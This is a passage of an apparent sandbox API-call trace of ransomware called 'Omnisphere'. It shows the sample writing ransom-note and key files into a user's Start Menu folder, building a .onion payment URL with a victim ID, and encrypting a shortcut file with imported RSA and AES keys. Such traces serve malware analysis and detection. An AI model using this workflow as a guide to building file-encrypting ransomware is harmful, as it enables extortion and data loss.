(hFile=0x3c0) returned 1 [0148.936] CloseHandle (hObject=0x3c0) returned 1 [0148.936] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell") returned 1 [0148.936] GetProcessHeap () returned 0x1600000 [0148.936] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1731670 [0148.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0148.936] GetProcessHeap () returned 0x1600000 [0148.936] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdb90 [0148.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdb90, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0148.941] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0148.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0148.941] GetProcessHeap () returned 0x1600000 [0148.941] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726ad8 [0148.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0148.942] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0148.942] GetProcessHeap () returned 0x1600000 [0148.942] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf0) returned 0x172fb18 [0148.942] PathCombineW (in: pszDest=0x172fb18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt" [0148.942] GetProcessHeap () returned 0x1600000 [0148.942] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1721940 [0148.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.942] WriteFile (in: hFile=0x3c0, lpBuffer=0x1721940*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x1721940*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0148.943] CloseHandle (hObject=0x3c0) returned 1 [0148.943] GetProcessHeap () returned 0x1600000 [0148.943] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1731670 | out: hHeap=0x1600000) returned 1 [0148.943] GetProcessHeap () returned 0x1600000 [0148.943] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x1730218 [0148.943] PathCombineW (in: pszDest=0x1730218, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key" [0148.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.943] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0148.943] CloseHandle (hObject=0x3c0) returned 1 [0148.943] GetProcessHeap () returned 0x1600000 [0148.944] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1730218 | out: hHeap=0x1600000) returned 1 [0148.944] GetProcessHeap () returned 0x1600000 [0148.944] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1731160 | out: hHeap=0x1600000) returned 1 [0148.944] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0148.944] GetProcessHeap () returned 0x1600000 [0148.944] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xee) returned 0x1731160 [0148.944] PathCombineW (in: pszDest=0x1731160, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="Windows PowerShell.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk" [0148.944] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0148.944] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.945] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=2236) returned 1 [0148.945] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0148.945] ReadFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0cdc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesRead=0x3e0cdc4*=0x524, lpOverlapped=0x0) returned 1 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.953] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] GetTickCount () returned 0x11650d7 [0148.954] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668f88) returned 1 [0148.955] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x16397a8) returned 1 [0148.955] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0148.955] CryptDestroyKey (hKey=0x16397a8) returned 1 [0148.955] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0148.956] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8bc, lpName=0x0) returned 0x388 [0148.956] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8bc) returned 0x1480000 [0148.956] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1669230) returned 1 [0148.957] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x16394e8) returned 1 [0148.957] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.957] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.958] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.959] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.960] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.961] 